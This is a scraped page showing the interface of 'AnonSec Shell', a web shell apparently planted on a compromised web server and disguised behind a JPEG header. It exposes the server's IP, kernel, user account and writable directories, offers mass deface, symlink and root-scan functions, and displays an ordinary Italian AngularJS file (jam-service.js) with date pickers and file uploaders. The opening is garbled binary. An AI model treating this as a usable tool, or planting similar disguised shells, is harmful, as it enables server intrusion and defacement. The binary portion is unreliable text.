JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/www/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/www/js/jam-service.js
amazon = false;
materialAdmin

    // =========================================================================
    // API Rest D2P
    // =========================================================================
    
 /* OLD VERSION

    .factory('APIService', ['$http',function($http) {
      var promise;
      var myService = {
        async: function(url) {
           // 
        //  if ( !promise ) {
            // $http returns a promise, which has a then function, which also returns a promise
            promise = $http.get('./API/?'+url).then(function (response) {
              // The then function here is an opportunity to modify the response
              return response.data;
            });
        //  }
          // Return the promise to the controller
          return promise;
        }
      };
      return myService;
    }])
*/




/*
        var fd = new FormData();
        fd.append('file', file);
        $http.post(uploadUrl, fd, {
            transformRequest: angular.identity,
            headers: {'Content-Type': undefined}
        })
        .success(function(){
        })
        .error(function(){
        });


*/

    .directive("dateTimePickerFix",
        function() {
            return {
                restrict: "A",
                require: "ngModel",
                link: function (scope, element, attrs, ngModelCtrl) {
                    var parent = $(element).parent();
                    var dtp = parent.datetimepicker({
                        format: 'DD-MM-YYYY HH:mm',
                      //  defaultDate:moment(),
                  //      daysOfWeekDisabled: [0,6],
                       // daysOfWeekDisabled: [0,7], //Sabato e domenica disattivati
                  //      disabledTimeIntervals: [[moment({ h: 0 }), moment({ h: 8 })], [moment({ h: 20 }), moment({ h: 24 })]],
                        showTodayButton: true,

                    });
                    dtp.on("dp.change", function (e) {
                           
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY HH:mm'));
                          
                              // ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                           
                            scope.$apply();

                            if( !e.oldDate || !e.date.isSame(e.oldDate, 'day')){
                                $(this).data('DateTimePicker').hide();
                              }
                    });
                    
                    dtp.on("dp.show", function (e) {
                    
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY HH:mm'));
                     
                            //ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                        
                        scope.$apply();

                        
                    });

                }
            };
        })

    .directive("datePickerFix",
        function() {
            return {
                restrict: "A",
                require: "ngModel",
                link: function (scope, element, attrs, ngModelCtrl) {
                    var parent = $(element).parent();
                    var dtp = parent.datetimepicker({
                        format: 'DD-MM-YYYY',
                      //  defaultDate:moment(),
                  //      daysOfWeekDisabled: [0,6],
                       // daysOfWeekDisabled: [0,7], //Sabato e domenica disattivati
                  //      disabledTimeIntervals: [[moment({ h: 0 }), moment({ h: 8 })], [moment({ h: 20 }), moment({ h: 24 })]],
                        showTodayButton: true,

                    });
                    dtp.on("dp.change", function (e) {
                           
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY'));
                          
                              // ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                           
                            scope.$apply();

                            if( !e.oldDate || !e.date.isSame(e.oldDate, 'day')){
                                $(this).data('DateTimePicker').hide();
                              }
                    });
                    
                    dtp.on("dp.show", function (e) {
                    
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY'));
                     
                            //ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                        
                        scope.$apply();

                        
                    });

                }
            };
        })


    .directive("datePickerFixNow",
        function() {
            return {
                restrict: "A",
                require: "ngModel",
                link: function (scope, element, attrs, ngModelCtrl) {
                    var parent = $(element).parent();
                    var dtp = parent.datetimepicker({
                        format: 'DD-MM-YYYY',
                        minDate : moment().add(1, "days"),
                      //  defaultDate:moment(),
                  //      daysOfWeekDisabled: [0,6],
                       // daysOfWeekDisabled: [0,7], //Sabato e domenica disattivati
                  //      disabledTimeIntervals: [[moment({ h: 0 }), moment({ h: 8 })], [moment({ h: 20 }), moment({ h: 24 })]],
                        showTodayButton: true,

                    });
                    dtp.on("dp.change", function (e) {
                           
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY'));
                          
                              // ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                           
                            scope.$apply();

                            if( !e.oldDate || !e.date.isSame(e.oldDate, 'day')){
                                $(this).data('DateTimePicker').hide();
                              }
                    });
                    
                    dtp.on("dp.show", function (e) {
                    
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY'));
                     
                            //ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                        
                        scope.$apply();

                        
                    });

                }
            };
        })

    .factory('documentale', ['$http', 'FileUploader', 'APIService',function($http, FileUploader, APIService) {
        
        return function(atipo,aid){

             uploader = new FileUploader({
                url: window.location.protocol + '//' + window.location.host +
                     window.location.pathname + '/API/index.php?method=putfiles3&id='+aid+'&tipo='+atipo,
                removeAfterUpload: true
            });

             headerScope.uploader = uploader;

            uploader.cercaFiles = function(tipo= atipo, id= aid){
                var toSend = {
                    "tipo":     tipo,
                    "id":       id,
                    "method":   "getlistafile"
                }

                return APIService.async(toSend);
            }

            uploader.cancellaFiles = function(id= aid, tipo= atipo, file){
                swal({
                    title: "Sei sicuro di voler cancellare questo file ?",
                    text: "NB. il file non sarà più recuperabile",
                    type: "warning",
                    showCancelButton: true,
                    confirmButtonColor: "#DD6B55",
                    confirmButtonText: "Conferma",
                    closeOnConfirm: true
                }, function() {
                    var toSend = {
                        "tipo":     tipo,
                        "id":       id,
                        "method":   "deletefiles3",
                        "nomefile": file.split("/")[file.split("/").length-1]
                    }

                    APIService.async(toSend).then(function(adata) {
                        if(adata.status){
                            console.log(adata);
                            swal("Info",'Il file è stato cancellato.',"success");
                        }else{
                            swal("Attenzione!", "Errore interno del server!", "error"); 
                            
                        }
                    });

                }); 


                
            }

            uploader.caricaFile = function(tipo= atipo, id= aid) {    

                uploader.url = './API/index.php?method=putfiles3&id='+id+'&tipo='+tipo
                
                for (var i = uploader.queue.length - 1; i >= 0; i--) {
                    uploader.queue[i].url = uploader.url;
                }                
                uploader.uploadAll()

            }

            // FILTERS

            uploader.filters.push({
                name: 'extensionFilter',
                fn: function (item, options) {
                    var filename = item.name;
                    var extension = filename.substring(filename.lastIndexOf('.') + 1).toLowerCase();
                    if (extension == "pdf" || extension == "doc" || extension == "docx" ||
                        extension == "rtf" || extension == "xls" || extension == "xlsx" || extension == "jpg"  || extension == "png"  || extension == "zip"  || extension == "pages"  || extension == "number")
                        return true;
                    else {
                        swal("Formato non valido", "Perfavore selezionare un file con estensione pdf/doc/docx/xls/xlsx/jpg/png/zip e riprovare.", "error");
                        return false;
                    }
                }
            });

            uploader.filters.push({
                name: 'sizeFilter',
                fn: function (item, options) {
                    var fileSize = item.size;
                    fileSize = parseInt(fileSize) / (1024 * 1024);
                    if (fileSize <= 5)
                        return true;
                    else {
                        swal("Info", "Il file selezionato supera il limite di 5MB.", "error");
                        return false;
                    }
                }
            });

            uploader.filters.push({
                name: 'itemResetFilter',
                fn: function (item, options) {
                    if (this.queue.length < 5)
                        return true;
                    else {
                        swal("Info", "Non puoi caricare più di 5 file alla volta.","error");
                        return false;
                    }
                }
            });
         
            // CALLBACKS
         
            uploader.onWhenAddingFileFailed = function (item, filter, options) {
                console.info('onWhenAddingFileFailed', item, filter, options);

            };
            uploader.onAfterAddingFile = function (fileItem) {
                swal("Info",'Files pronti per essere caricati, puoi verificare in alto a destra il progresso del caricamento non appena avviata l\'azione!',"success");
            };

            uploader.onSuccessItem = function (fileItem, response, status, headers) {
                //uploader.progress = 0;
                //swal("Info",'I file selezionati sono stati caricati con successo.',"success")
                if(status){
                    $.growl({message: 'Il file è stato caricato: '+fileItem.file.name+'!'},{
                        type: "success",
                        allow_dismiss: false,
                        label: 'Cancel',
                        className: 'btn-xs btn-inverse',
                        placement: {
                            from: 'top',
                            align: 'right'
                        },
                        delay: 2500,
                        animate: {
                                enter: 'animated bounceIn',
                                exit: 'animated bounceOut'
                        },
                        offset: {
                            x: 20,
                            y: 85
                        }
                    });
                    
                }
                else{
                    $.growl({message: 'Il file è non stato caricato: '+fileItem.file.name+'!'},{
                        type: "danger",
                        allow_dismiss: false,
                        label: 'Cancel',
                        className: 'btn-xs btn-inverse',
                        placement: {
                            from: 'top',
                            align: 'right'
                        },
                        delay: 2500,
                        animate: {
                                enter: 'animated bounceIn',
                                exit: 'animated bounceOut'
                        },
                        offset: {
                            x: 20,
                            y: 85
                        }
                    });
                }

            };
            uploader.onErrorItem = function (fileItem, response, status, headers) {
                swal("Info",'Non è stato possibile caricare il tuo file. Perfavore riprova.',"error");
            };
            uploader.onCancelItem = function (fileItem, response, status, headers) {
                swal("Info",'Il file è stato cancellato dalla lista dei files da caricare in cloud.',"success");
            };

            uploader.onAfterAddingAll = function(addedFileItems) {
                console.info('onAfterAddingAll', addedFileItems);
            };
            uploader.onBeforeUploadItem = function(item) {
                console.info('onBeforeUploadItem', item);
            };
            uploader.onProgressItem = function(fileItem, progress) {
                console.info('onProgressItem', fileItem, progress);
            };
            uploader.onProgressAll = function(progress) {
                console.info('onProgressAll', progress);
            };
                
            uploader.onCompleteItem = function(fileItem, response, status, headers) {
                console.info('onCompleteItem', fileItem, response, status, headers);
            };
            uploader.onCompleteAll = function() {

                    swal("Informazione", "Caricamento files effettuato con successo!", "success")
                    uploader.queue = [];
                    uploader.progress = 0;
                   // documentalectrl.documento = {};
                    $('#closeFile').click();
                    uploader.onCompleteAllOk();
                    console.info('onCompleteAll');
            };

            uploader.onCompleteAllOk = function() {
            };

            

            return uploader;
        
        }

    }])

    

    .factory('cambiaLogoCentro', ['$http', 'FileUploader', 'APIService',function($http, FileUploader, APIService) {
        
        return function(){

            uploader = new FileUploader({
                url: window.location.protocol + '//' + window.location.host +
                 '/API/index.php?method=cambialogocentro',
                removeAfterUpload: true
            });

             headerScope.uploader = uploader;

            uploader.caricaFile = function() {    

                uploader.url = './API/index.php?method=cambialogocentro'
                
                for (var i = uploader.queue.length - 1; i >= 0; i--) {
                    uploader.queue[i].url = uploader.url;
                }                
                uploader.uploadAll()

            }

            // FILTERS

            uploader.filters.push({
                name: 'extensionFilter',
                fn: function (item, options) {
                    var filename = item.name;
                    var extension = filename.substring(filename.lastIndexOf('.') + 1).toLowerCase();
                    if (extension == "jpg"  || extension == "jpeg"  || extension == "png")
                        return true;
                    else {
                        swal("Formato non valido", "Perfavore selezionare un file con estensione jpg o png e riprovare.", "error");
                        return false;
                    }
                }
            });


            uploader.filters.push({
                name: 'sizeFilter',
                fn: function (item, options) {
                    var fileSize = item.size;
                    fileSize = parseInt(fileSize) / (1024 * 1024);
                    if (fileSize <= 1)
                        return true;
                    else {
                        swal("Info", "Il file selezionato supera il limite di 1MB.", "error");
                        return false;
                    }
                }
            });

            uploader.filters.push({
                name: 'itemResetFilter',
                fn: function (item, options) {
                    if (this.queue.length < 2)
                        return true;
                    else {
                        swal("Info", "Non puoi caricare più di un file alla volta.","error");
                        return false;
                    }
                }
            });
         
            // CALLBACKS
         
            uploader.onWhenAddingFileFailed = function (item, filter, options) {
                console.info('onWhenAddingFileFailed', item, filter, options);

            };
            uploader.onAfterAddingFile = function (fileItem) {
               // swal("Info",'Files pronti per essere caricati, puoi verificare in alto a destra il progresso del caricamento non appena avviata l\'azione!',"success");
            };

            uploader.onSuccessItem = function (fileItem, response, status, headers) {
                //uploader.progress = 0;
                //swal("Info",'I file selezionati sono stati caricati con successo.',"success")
                if(status){
                    $.growl({message: 'Il logo è stato caricato con successo, tutti i certificati da ora in poi avranno il logo ora inserito!'},{
                        type: "success",
                        allow_dismiss: false,
                        label: 'Chiudi',
                        className: 'btn-xs btn-inverse',
                        placement: {
                            from: 'top',
                            align: 'right'
                        },
                        delay: 2500,
                        animate: {
                                enter: 'animated bounceIn',
                                exit: 'animated bounceOut'
                        },
                        offset: {
                            x: 20,
                            y: 85
                        }
                    });
                    
                }
                else{
                    $.growl({message: 'Il logo è non stato caricato correttamente, prova a ricaricarlo o a cambiare file!'},{
                        type: "danger",
                        allow_dismiss: false,
                        label: 'Chiudi',
                        className: 'btn-xs btn-inverse',
                        placement: {
                            from: 'top',
                            align: 'right'
                        },
                        delay: 2500,
                        animate: {
                                enter: 'animated bounceIn',
                                exit: 'animated bounceOut'
                        },
                        offset: {
                            x: 20,
                            y: 85
                        }
                    });
                }

            };
            uploader.onErrorItem = function (fileItem, response, status, headers) {
                swal("Info",'Non è stato possibile caricare il tuo logo. Perfavore riprova.',"error");
            };
            uploader.onCancelItem = function (fileItem, response, status, headers) {
                swal("Info",'Il logo è stato cancellato dalla lista dei files da caricare.',"success");
            };

            uploader.onAfterAddingAll = function(addedFileItems) {
                var ele = this.queue.pop();
                this.queue = [];
                this.queue.push(ele);
                uploader.uploadAll()
               //console.info('onAfterAddingAll', addedFileItems);
            };
            uploader.onBeforeUploadItem = function(item) {
                console.info('onBeforeUploadItem', item);
            };
            uploader.onProgressItem = function(fileItem, progress) {
                console.info('onProgressItem', fileItem, progress);
            };
            uploader.onProgressAll = function(progress) {
                console.info('onProgressAll', progress);
            };
                
            uploader.onCompleteItem = function(fileItem, response, status, headers) {
                console.info('onCompleteItem', fileItem, response, status, headers);
            };
            uploader.onCompleteAll = function() {

                    swal("Informazione", "Caricamento logo effettuato con successo!", "success")
                    uploader.queue = [];
                    uploader.progress = 0;
                   // documentalectrl.documento = {};
                    $('#closeFile').click();
                    uploader.onCompleteAllOk();
                    console.info('onCompleteAll');
            };

            

            

            return uploader;
        
        }

    }])


           
    .factory('APIService', ['$http',function($http) {
        var promise;
        var myService = {   async: function(parametri) 
            {
            if(parametri.upload || parametri.uploadimg || parametri.allegati)
            {   //Peo -  aggiunto parametri.allegati per il caricamento multiplo di files
                var fd = new FormData();
                try
                {
                    if("allegati" in parametri && parametri.allegati.length>0)
                    {/*Peo - se il parametro allegato è un array(di file) ed è >0 allora
                    scorre i file all'interno e gli assegna 
                        file0 , file1, ecc. come chiave (back end $_FILES)*/
                        for(x in parametri)
                        {//setto il valore per il form
                            if(x=="allegati" && parametri[x] instanceof Object){   
                               
                                for(j=0;j<parametri[x].length;j++)
                                {    
                                    if(parametri[x][j] instanceof Object)
                                    fd.append('file' + j, parametri[x][j]);
                                    else
                                    fd.append(x,parametri[x][j] );  
                                }
                                
                            }else{
                                fd.append(x, parametri[x]);
                            }
                        }
                    }
                    else
                    {
                        for(x in parametri)
                        {//setto il valore per il form
                            if(x == "upload"){
                                fd.append(x, $("#"+x)[0].files[0]);
                            }else{
                                fd.append(x, parametri[x]);    
                            }
                            
                        }
                    }
                } 
                catch(e){}
            
                var confData = {
                    transformRequest: angular.identity,
                    headers : {'Content-Type': undefined},
                    }
                promise = $http.post('./API/index.php', fd, confData).then(function successCallback(response) {
                                                    return response.data;
                                            }, function errorCallback(response) {
                                                    return response.data;
                                            });
            return promise;

            }else{
                
                var param = [];
                for(x in parametri){
                    //setto il valore per il json
                    param[param.length] = { name:x, value:parametri[x] } 
                }

                var sendData = {
                    url: './API/index.php',
                    method: 'POST',
                    headers : {'Content-Type': 'application/json;charset=utf-8'},
                    data: param
                }
                // $http returns a promise, which has a then function, which also returns a promise
                promise = $http(sendData).then(function successCallback(response) {
                                                        return response.data;
                                                }, function errorCallback(response) {
                                                        return response.data;
                                                });
                return promise;
            }             
        }
      };
      return myService;
    }])



    .service('animationService', function($timeout){
        
        //Animation List
        this.attentionSeekers = [
            { animation: 'bounce', target: 'attentionSeeker' },
            { animation: 'flash', target: 'attentionSeeker' },
            { animation: 'pulse', target: 'attentionSeeker' },
            { animation: 'rubberBand', target: 'attentionSeeker' },
            { animation: 'shake', target: 'attentionSeeker' },
            { animation: 'swing', target: 'attentionSeeker' },
            { animation: 'tada', target: 'attentionSeeker' },
            { animation: 'wobble', target: 'attentionSeeker' }
        ]
        this.flippers = [
            { animation: 'flip', target: 'flippers' },
            { animation: 'flipInX', target: 'flippers' },
            { animation: 'flipInY', target: 'flippers' },
            { animation: 'flipOutX', target: 'flippers' },
            { animation: 'flipOutY', target: 'flippers'  }
        ]
         this.lightSpeed = [
            { animation: 'lightSpeedIn', target: 'lightSpeed' },
            { animation: 'lightSpeedOut', target: 'lightSpeed' }
        ]
        this.special = [
            { animation: 'hinge', target: 'special' },
            { animation: 'rollIn', target: 'special' },
            { animation: 'rollOut', target: 'special' }
        ]
        this.bouncingEntrance = [
            { animation: 'bounceIn', target: 'bouncingEntrance' },
            { animation: 'bounceInDown', target: 'bouncingEntrance' },
            { animation: 'bounceInLeft', target: 'bouncingEntrance' },
            { animation: 'bounceInRight', target: 'bouncingEntrance' },
            { animation: 'bounceInUp', target: 'bouncingEntrance'  }
        ]
        this.bouncingExits = [
            { animation: 'bounceOut', target: 'bouncingExits' },
            { animation: 'bounceOutDown', target: 'bouncingExits' },
            { animation: 'bounceOutLeft', target: 'bouncingExits' },
            { animation: 'bounceOutRight', target: 'bouncingExits' },
            { animation: 'bounceOutUp', target: 'bouncingExits'  }
        ]
        this.rotatingEntrances = [
            { animation: 'rotateIn', target: 'rotatingEntrances' },
            { animation: 'rotateInDownLeft', target: 'rotatingEntrances' },
            { animation: 'rotateInDownRight', target: 'rotatingEntrances' },
            { animation: 'rotateInUpLeft', target: 'rotatingEntrances' },
            { animation: 'rotateInUpRight', target: 'rotatingEntrances'  }
        ]
        this.rotatingExits = [
            { animation: 'rotateOut', target: 'rotatingExits' },
            { animation: 'rotateOutDownLeft', target: 'rotatingExits' },
            { animation: 'rotateOutDownRight', target: 'rotatingExits' },
            { animation: 'rotateOutUpLeft', target: 'rotatingExits' },
            { animation: 'rotateOutUpRight', target: 'rotatingExits'  }
        ]
        this.fadeingEntrances = [
            { animation: 'fadeIn', target: 'fadeingEntrances' },
            { animation: 'fadeInDown', target: 'fadeingEntrances' },
            { animation: 'fadeInDownBig', target: 'fadeingEntrances' },
            { animation: 'fadeInLeft', target: 'fadeingEntrances' },
            { animation: 'fadeInLeftBig', target: 'fadeingEntrances'  },
            { animation: 'fadeInRight', target: 'fadeingEntrances'  },
            { animation: 'fadeInRightBig', target: 'fadeingEntrances'  },
            { animation: 'fadeInUp', target: 'fadeingEntrances'  },
            { animation: 'fadeInBig', target: 'fadeingEntrances'  }
        ]
        this.fadeingExits = [
            { animation: 'fadeOut', target: 'fadeingExits' },
            { animation: 'fadeOutDown', target: 'fadeingExits' },
            { animation: 'fadeOutDownBig', target: 'fadeingExits' },
            { animation: 'fadeOutLeft', target: 'fadeingExits' },
            { animation: 'fadeOutLeftBig', target: 'fadeingExits'  },
            { animation: 'fadeOutRight', target: 'fadeingExits'  },
            { animation: 'fadeOutRightBig', target: 'fadeingExits'  },
            { animation: 'fadeOutUp', target: 'fadeingExits'  },
            { animation: 'fadeOutUpBig', target: 'fadeingExits'  }
        ]
        this.zoomEntrances = [
            { animation: 'zoomIn', target: 'zoomEntrances' },
            { animation: 'zoomInDown', target: 'zoomEntrances' },
            { animation: 'zoomInLeft', target: 'zoomEntrances' },
            { animation: 'zoomInRight', target: 'zoomEntrances' },
            { animation: 'zoomInUp', target: 'zoomEntrances'  }
        ]
        this.zoomExits = [
            { animation: 'zoomOut', target: 'zoomExits' },
            { animation: 'zoomOutDown', target: 'zoomExits' },
            { animation: 'zoomOutLeft', target: 'zoomExits' },
            { animation: 'zoomOutRight', target: 'zoomExits' },
            { animation: 'zoomOutUp', target: 'zoomExits'  }
        ]

        //Animate    
        this.hiddenAnimationJam=function(target){
            
                angular.element('#'+target).addClass("hidden");
            
        }
        this.setAnimationJam = function(animation, target, hidden, testo) {
            if (animation === "bounceInDown") {
                animationDuration = 4100;
            }
            else {
                animationDuration = 1200;
            }

            if(testo){
                angular.element('#'+target).text(testo);
            }else{
                angular.element('#'+target).text('Ops! C\'è qualcosa che non và');
            }

            if(!hidden){
                angular.element('#'+target).removeClass("hidden");
                hidden=true;
            }
            angular.element('#'+target).addClass(animation);
            
            $timeout(function($timeout){
                
                angular.element('#'+target).removeClass(animation);
                //
                if(hidden){
                    angular.element('#'+target).addClass("hidden");
                }
            }, animationDuration);
        }
    
    })



.directive("dateTimePicker",
        function() {
            return {
                restrict: "A",
                require: "ngModel",
                link: function (scope, element, attrs, ngModelCtrl) {
                    var parent = $(element).parent();
                    var dtp = parent.datetimepicker({
                        format: 'DD-MM-YYYY HH:mm',
                        defaultDate:moment(),
                        daysOfWeekDisabled: [0,6], //Sabato e domenica disattivati
                        disabledTimeIntervals: [[moment({ h: 0 }), moment({ h: 8 })], [moment({ h: 20 }), moment({ h: 24 })]],
                        showTodayButton: true,
                    });
                    dtp.on("dp.change", function (e) {
                        if(!amazon){
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY HH:mm'));
                        }else{
                            ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD HH:mm'));
                        }
                        scope.$apply();
                    });
                }
            };
        })

  

    .directive("dateTimePickerNotime",
        function() {
            return {
                restrict: "A",
                require: "ngModel",
                link: function (scope, element, attrs, ngModelCtrl) {
                    var parent = $(element).parent();
                      var dtp = parent.datetimepicker({
                        format: 'DD-MM-YYYY',
                        showTodayButton: true,
                        });  
                    
                    
                    dtp.on("dp.change", function (e) {
                        if(!amazon){
                            ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY'));
                        }else{
                            ngModelCtrl.$setViewValue(moment(e.date).format('YYYY-MM-DD'));
                        }
                        scope.$apply();
                    });
                }
            };
        })

    .directive("dateTimePickerCalendar",
        function() {
            return {
                restrict: "A",
                require: "ngModel",
                link: function (scope, element, attrs, ngModelCtrl) {
                    var parent = $(element).parent();
                        var dtp = parent.datetimepicker({
                            format: 'DD-MM-YYYY',
                            showTodayButton: true
                        });
                   
                    dtp.on("dp.change", function (e) {
                        $('#calendar').fullCalendar('gotoDate', e.date);
//                        ngModelCtrl.$setViewValue(moment(e.date).format('DD-MM-YYYY hh:mm'));
                        scope.$apply();
                    });
                }
            };
        })

    .directive('myEnter', function () {
        return function (scope, element, attrs) {
            element.bind("keydown keypress", function (event) {
                if(event.which === 13) {
                    scope.$apply(function (){
                        scope.$eval(attrs.myEnter);
                    });

                    event.preventDefault();
                }
            });
        };
    })

Anon7 - 2022
AnonSec Team